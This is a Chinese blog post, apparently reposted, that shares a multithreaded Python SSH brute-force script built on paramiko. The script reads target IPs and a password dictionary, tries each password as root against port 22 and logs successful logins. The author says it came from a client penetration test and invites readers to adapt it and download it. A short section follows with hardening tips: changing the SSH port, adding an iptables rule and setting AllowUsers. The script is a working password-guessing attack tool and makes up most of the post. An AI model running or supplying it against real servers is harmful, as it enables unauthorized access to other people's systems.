• python多线程ssh爆破


    本周需要给客户做渗透测试,扫描器中发现客户存在SSH弱口令,于是在网上找个一个SSH爆破的脚本,顺便改了一下,测试,虽然没成功~

    程序目录如下:

    |--ssh.scan.py
    |--/log:
        sshd
    |--/dict:
        ip
        password
    下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h
    #!/usr/bin/python python
    # -*- coding: utf-8 -*-
    import paramiko,threading,sys,time,os
    
    class SSHThread(threading.Thread):
        def __init__(self, ip, port, timeout, dic, LogFile):
            threading.Thread.__init__(self)
            self.ip = ip
            self.port = port
            self.dict = dic
            self.timeout = timeout
            self.LogFile = LogFile
        def run(self):
            print("Start try ssh => %s" % self.ip)
            username = "root"
            try:
                password = open(self.dict).read().split('
    ')
            except:
                print("Open dict file `%s` error" % self.dict)
                exit(1)
            for pwd in password:
                try:
                    ssh = paramiko.SSHClient()
                    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                    ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
                    print("
    IP => %s, Login %s => %s 
    " % (self.ip, username, pwd))
                    open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s 
    " % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
                    break
                except:
                    print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
                    pass
    def ViolenceSSH(ip, port, timeout, dic, LogFile):
        ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
        ssh_scan.start()
    
    def main(ipFile, dic, log):
        if ipFile == "-h":
            help()
        try:
            ipText = open(ipFile).read().split('
    ')
            for ip in ipText:
                if ip != '':
                    time.sleep(0.5)
                    threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
        except:
            print("Open IP list file `%s` error" % ipFile)
            exit(1)
    def help():
        print("python ssh.scan.py 使用说明:
    
            python ssh.scan.py ip_file_path dict_file_path ssh_log_path 
    ")
        exit(1)
    
    if __name__ == '__main__':
    
        fpath = os.path.dirname(os.path.abspath('__file__'))
        ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" 
        dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
        log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
        try:
            os.system("clear")
            main(ipFile, dic, log)
        except KeyboardInterrupt:
            exit(1)

    需要的内容自己修改就好了

    防御:

    怎么办呢?防止被人爆菊,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:

    1.修改iptables

    首先要过防火墙,修改防火墙规则:

    /sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT

    保存规则:

    service iptables save

    重启防火墙:

    service iptables restart

    2.修改ssh配置文件

    cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
    cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

    修改ssh端口:

    vim /etc/ssh/sshd_config

    在端口#Port 22下面增加Port 2333

    vim /etc/ssh/ssh_config

    在端口#Port 22下面增加Port 2333

    重启ssh服务:

    service sshd restart

    3.其他修改

    限制用户的SSH访问

    假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加

    vim /etc/ssh/sshd_config

    修改下面一行:

    AllowUsers xiaocao homeway

    代码下载地址:http://homeway.me/code/python-violence-ssh.zip

    因为是给客户做渗透,具体的内容就不贴出来了。

    字典可以是找弱口令字典,我自己是自己现做的一个字典。

     原文:https://segmentfault.com/a/1190000002921905

  • 相关阅读:
    MySQL的备份
    Linux下MySQL安装及配置
    MySQL的优化
    MySQL的基本操作
    python文件操作练习之文件备份
    文件操作练习之统计目录大小
    SQLite
    PyMySQL模块
    python语法练习题之九九乘法表
    类装饰器
  • 原文地址:https://www.cnblogs.com/sevck/p/5209497.html
Copyright © 2020-2023  润新知